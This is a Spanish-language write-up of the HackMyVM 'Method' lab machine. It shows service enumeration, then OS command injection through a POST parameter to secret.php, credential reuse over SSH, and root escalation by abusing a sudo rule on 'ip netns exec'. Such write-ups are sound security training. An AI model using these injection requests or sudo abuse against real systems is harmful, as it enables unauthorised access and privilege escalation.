Enumeración de servicios
El objetivo expone SSH y una página predeterminada de Nginx. Al no disponer de credenciales, concentramos la enumeración en HTTP:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.236
❯ nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.236
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-03 12:30 -03
Nmap scan report for 192.168.1.236
Host is up (0.00047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 4b:24:34:1f:41:10:88:b7:5a:6a:63:d9:f6:75:26:6f (RSA)
| 256 52:46:e7:20:68:c1:6f:90:2f:a6:ad:ee:6d:87:e7:28 (ECDSA)
|_ 256 3f:ce:97:a9:1e:f4:60:f4:0e:71:e7:46:58:28:71:f0 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Test Page for the Nginx HTTP Server on Fedora
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.68 secondsEnumeración web
El servidor responde 200 ante rutas inexistentes. Para evitar falsos positivos indicamos a Gobuster que excluya la longitud 3690, correspondiente a la página predeterminada:
❯ gobuster dir -u 192.168.1.236 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt --exclude-length 3690
...
/note.txt (Status: 200) [Size: 23]
/secret.php (Status: 302) [Size: 0] [--> https://images-na.ssl-images-amazon.com/images/I/31YDo0l4ZrL._SX331_BO1,204,203,200_.jpg]
...note.txt insiste en que la enumeración es la clave:
Enumeration is the keyUna segunda herramienta descubre index.htm y sitemap.xml, omitidos por la primera lista:
❯ dirb http://192.168.1.236 -o dirb_results -R
...
+ http://192.168.1.236/index.htm (CODE:200|SIZE:344)
+ http://192.168.1.236/sitemap.xml (CODE:200|SIZE:285)
...Revisamos ambos recursos con Curl. index.htm contiene un formulario oculto que envía el parámetro HackMyVM a secret.php:
❯ curl http://192.168.1.236/index.htm
<h1>It's Hacking Time</h1>
<img src="hacker.gif" alt="Hacker" height="640" width="640">
<img hidden="true" src="office.gif" alt="hahahahaha" height="640" width="640">
<form action="/secret.php" hidden="true" method="GET">
<input type="text" name="HackMyVM" value="" maxlength="100"><br>
<input type="submit" value="Submit">
</form>
❯ curl http://192.168.1.236/sitemap.xml
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="https://hackmyvm/sitemap/0.9">
<url>
<loc>https://hackmyvm.eu/machines/index.htm?vm=Brain</loc>
<lastmod>2020-02-13</lastmod>
<changefreq>monthly</changefreq>
<priority>0.8</priority>
</url>
</urlset>Identificación del método correcto
Aunque el HTML declara method="GET", el endpoint rechaza una petición GET y responde Try other method.
El formulario visible está desincronizado con el backend. Cambiar a POST no evade autenticación; simplemente alcanza la rama que realmente procesa HackMyVM:
❯ curl "http://192.168.1.236/secret.php?HackMyVM=id"
Now the main part what it is loooooool<br>Try other methodRepetimos la misma entrada mediante POST. La salida de id demuestra OS Command Injection: el valor se evalúa como una orden del sistema bajo www-data.
Validar primero con id permite diferenciar una ejecución real de un simple reflejo del texto enviado y establece la identidad que tendrá cualquier payload posterior:
❯ curl -X POST "http://192.168.1.236/secret.php" -d "HackMyVM=id"
You Found ME : - (<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>Confirmamos la ejecución listando el directorio web:
❯ curl -X POST "http://192.168.1.236/secret.php" -d "HackMyVM=ls"
You Found ME : - (<pre>hacker.gif
index.htm
index.html
note.txt
office.gif
secret.php
sitemap.xml
</pre>Recuperación de credenciales y acceso por SSH
Usamos la misma primitiva para leer el código de secret.php, donde aparecen credenciales. Las notas originales no conservan sus valores, por lo que no los reconstruimos.
La limitación queda explícita para no inventar una salida. La evidencia preservada sí establece el salto lógico: el código contenía una cuenta válida, se reutilizó por SSH y la sesión resultante pertenecía a prakasaka:
❯ curl -X POST "http://192.168.1.236/secret.php" -d "HackMyVM=cat secret.php"Con ellas iniciamos sesión por SSH como prakasaka y obtenemos la primera flag. sudo -l revela dos reglas distintas:
prakasaka@method:~$ sudo -l
Matching Defaults entries for prakasaka on method:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User prakasaka may run the following commands on method:
(!root) NOPASSWD: /bin/bash
(root) /bin/ipEscalada mediante un network namespace
La primera regla excluye explícitamente a root. La segunda permite ejecutar /bin/ip como root, aunque solicita la contraseña conocida de prakasaka. Creamos un namespace de red y usamos ip netns exec para iniciar /bin/sh dentro de él; el comando hijo conserva el UID de sudo.
ip parece una herramienta de red, pero netns exec también funciona como lanzador de procesos. En este caso de Sudo-Allowed Program Abuse, la regla restringe el binario inicial pero no impide que una suborden legítima ejecute otro programa:
❯ sudo ip netns add foo
❯ sudo ip netns exec foo /bin/shDespués de confirmar la identidad privilegiada, eliminamos el namespace para no dejar cambios innecesarios:
❯ sudo ip netns delete fooLas notas registran que la shell creada mediante el namespace tuvo privilegios de root y permitió recuperar la flag final, aunque no conservaron una salida de identidad.